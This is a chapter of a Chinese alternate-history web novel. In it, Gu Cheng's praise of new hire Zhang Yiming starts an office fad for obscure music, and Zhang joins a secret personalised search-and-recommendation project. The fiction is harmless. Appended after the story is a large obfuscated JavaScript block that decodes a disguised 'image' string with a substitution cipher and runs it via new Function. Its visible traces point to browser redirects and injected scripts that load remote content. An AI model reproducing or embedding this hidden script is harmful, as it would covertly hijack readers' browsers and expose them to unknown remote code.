谁也不知道那天顾诚最后和张一鸣说了些啥。 只知道从那天起,YY网络科技里那些略有心机的中层管理、乃至个别码农,在一边写码一边带个耳机听音乐的时候,很少再听顾诚早期的音乐了。 当然,连带着周洁伦、蔡依琳和权宝雅的歌,也被连累着少了很多收听率。 去年刚刚火起来的安又琪、张亮颖、张涵韵等超女新秀的专辑,乃至今年随着NICONICO火起来的网络创作歌手张弦子的《醉清风》、结合部组合“凤凰传奇”的《月亮之上》,也纷纷被殃及池鱼。 这些人,本该构成05年国内从中规中矩到下里巴人之间,主流的流行元素。 “顾总欣赏有个性鉴赏能力的员工,不喜欢随大流的。”这种流言,在YY网络科技内部流传着,很快就散布到了支付宝公司,乃至叮铛网。 “听说了么,那天那个新来的应届生,叫张一鸣的。就在顾总面前梗着脖子表态了一番‘凭什么我的朋友爱听什么,我就要爱听什么’之类的话,顾总就对他大加欣赏,还破格提拔他当了一个新项目的主管。早知道顾总有这个倾向,我也去表现得孤高一些,可惜了,错过了。” “这算啥,我还听说呢,顾总把一个秘密的新项目分给张一鸣的时候,说是‘让每个人找到自己真心想要的’,结果你猜张一鸣怎么怼回去的?他一开始还说‘就凭YY这种靠社交裹挟、靠小学生相互影响的产品,还配谈‘用户的独立判断’?’言下之意是根本不信顾总能做好这门生意。最后不知道顾总跟他说了些啥,才把他说服了。” “我靠,那我是不是也该逮个机会在老板面前表现得屌一点?顾总的《长尾理论》我是从头到尾反复读过的,要伪装成一个那样的人,太轻松了!” 这种观点泛滥之下,顾诚麾下那几家公司的员工,似乎一夜之间都变得耿介不群起来。听音乐一定要小众,摇滚不够就上民谣,听的人越少越好,显得自己人格越独立。看电影一定要看票房扑街的文艺片,不管看不看得懂。 再往后,这股影响力也传播到了阿狸乃至黄易那些有志于跳槽来YY的员工,甚至远在深市腾云公司的、部分自认为腾云这条破船快进水了要早点儿弃暗投明上岸的员工,也变得品味大变。 一时之间,乌烟瘴气。 顾诚完全没有想到,他随口几句话,随便提拔一个新人,能引起那么大的反响。 真是神仙挥汗,淹死黎民。 …… 时光如梭,八月份很快就过完了。YY网络科技的分布式编译数据中心也架构完毕,算是为未来的云计算实践了第一颗种子。 叶芷秋和她的运维团队,在九月份就被借调到了阿狸巴巴,为阿狸云的布局提供技术支持。 而那天被顾诚留下来单独面谈的张一鸣,在完成分布式编译架构的“小目标”之后,就被单独关照抽调了出来,加入到了一个顾诚直属的神秘项目组中。 在新项目组稍微干了几天,张一鸣就觉得成就感爆棚,浑身都是干劲。 这个项目,叫做“YY智能搜索推送”。 看上去,带了搜索两个字,似乎跟百度家的业务有点重合,但是深入进去仔细研究,就知道完全不是一回事。 百度的搜索,是对客观题比较友好,而对主观题并不友好的。比如一个人如果百度“甲钴胺片治什么病”这种客观题,度娘马上可以给出答案(没有莆田系的关键词干扰的话),但是如果百度一下“05年最好听的歌”这种问题,度娘就爱莫能助了,只能给出今年最热搜的歌名,但搜索者喜不喜欢就不知道了。 顾诚给张一鸣画饼的这个项目,是个性化的智能推送:通过分析用户的内容产品消费习惯大数据,大致推算出用户的爱好。一旦用户搜索某些内容关键词,就把最符合用户审美习惯的内容优先排序在搜索结果的最前面。 最终的结果,就是“一千个人眼中有一千个哈姆雷特”,每个人搜索同一个关键词,得到的结果都不一样。 这事儿看着很美,不过没个两三年的苦功,是不可能做出成绩来的。 一方面,用户的喜好画像非常艰难,需要多年的深度学习型人工智能算法的打磨、砥砺。 另一方面,还要考虑用户看同类东西过多之后会不会形成“信息孤岛”,看多了会不会腻,会不会因为“重复/旧闻”而抵触,从而需要调整外部扰动的频次。 最后,处理如此海量的数据,所需要的云计算资源目前也不够。在计算资源变充分之前,“一千个人眼中有一千个哈姆雷特”是不现实的,只能先从“一千个人眼中有十个/一百个哈姆雷特”这种角度努力。 通过分析用户的行为数据,把用户每千人、百人……乃至最后数人归并到一个用户组里,默认同一组里的人兴趣爱好完全相同,然后渐渐深入…… 这个项目顾诚定下的指标是2008年初步出成果,可见其难度了。 而且,YY网络科技会在这个项目中每年投注入数亿美元的科研经费——顾诚说了,从今年开始,他会拨出《魔兽世界》50%的运营毛利,来补贴这个内容分发算法的科研。 别觉得这点钱多,平行时空的2010年之后,扎克伯格的FACEBOOK在这方面(信息FEED流领域)花的科研经费只会比这个价码更多。 喜欢被成就感和友人的羡慕所推着走的张一鸣,只能是破天荒头一遭地不断自己给自己找一个个小目标,让自己能够有成就感一点。 …… 张一鸣进入新项目组已经有一个月。 在这里,他认识了无数的技术大牛,包括好几个杰夫辛顿教授带的深度学习算法博士生,还有曾经给人人网做图片搜索、人脸识别的项目组成员。 他曾经的少年张狂,很快被如饥似渴的求知欲给掩盖了过去,每天除了勤勤恳恳地写代码,就是找牛人请教。 刚刚入行的张一鸣,职场情商还比较低,一如所有的技术死宅型极客,不太在乎别人的看法。很快他就发现这是一个让人如鱼得水的领域——哪怕这个世界上最有经验的人,在这个领域的经验也不会超过两年。作为一个应届生,能够在刚毕业后短短工作磨合几个月,就进入这一领域,实在是太幸运了。 顾诚为这个团队拨付的首批科研经费,大约是3个亿人民币,已经到位了,主要是人员工资的开支,以及与之配合的虚拟云环境、数据模拟器花销。这种大手笔、巨投入,让所有参与者都振奋不已,有一种自己正在创造历史的豪迈感。 这天,已经是9月末了。 张一鸣跟一名杰夫辛顿教授带出来的博士生请教了几个问题,一看已经到晚上11点了,便准点下班。 忙归忙,他不喜欢加班。 他从包里翻出一台这个月刚刚作为公司福利下发的内部测试版Kindle,激活蓝牙耳机,开始一边听歌,一边跟同事拼打车回家。 Kindle是雷俊的YY电子公司刚出的,硬件已经调得差不多了了,距离正式上市就差一块墨水屏,可能还要换三星今年下半年即将上市的最新款物料。 旧版物料的试流9月份刚刚跑下去,做出了大约三千台非卖品,顾诚就发给旗下所有公司的员工人手发了一台,让大家测试反馈一下系统问题。 所以最近几乎人人下班都会拿这个东西听歌、看电子书。 张一鸣也不例外。 东部软件园门口,晚上11点还有很多出租车,那些老司机都知道这儿这个点是下班高峰期,能够接到不少活儿。 张一鸣和同事一坐上车,就开始听音乐,他的耳机音量调得有些大,还没塞进耳朵之前,就有一些音乐飘了出来,被身边的同事听见了。 和他一起这个同事名叫陈思聪,是杰夫辛顿教授带的一个学生,祖籍绍兴,所以在米国那边学成之后选择了回国工作。 陈思聪一听张一鸣在听的,是顾诚这个月刚刚随便录了放到NICONICO网上的单曲《四面楚歌》,顿时有些惊讶: “你现在还在听顾总的歌?我一直以为你很小众很逼格的。” 公司里最近可是人人都在传说张一鸣的奇遇,说顾总欣赏有独立眼光的人,于是身边同事每天都在显摆“哥写代码时听的是小众音乐”。 没想到被人羡慕的正主儿,居然反而我行我素地听外面小学生都听的大路货。这实在太让人意外了。 “怎么了?我一般都是想听啥就听啥咯,听得人少的不一定就雅,听得人多的不一定就俗——我就觉得诚哥这首新歌就特别屌。”张一鸣丝毫没有待人接物方面的觉悟,作为极客的技术死宅本性暴露无遗。 “可是听说这首歌是周洁伦作词作曲、送给顾总的。创作和顾总一毛钱关系都没有。” “是么?但是我觉得和诚哥的心境特别配。真的让人很想窥探一下这首歌的创作灵感。”
!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();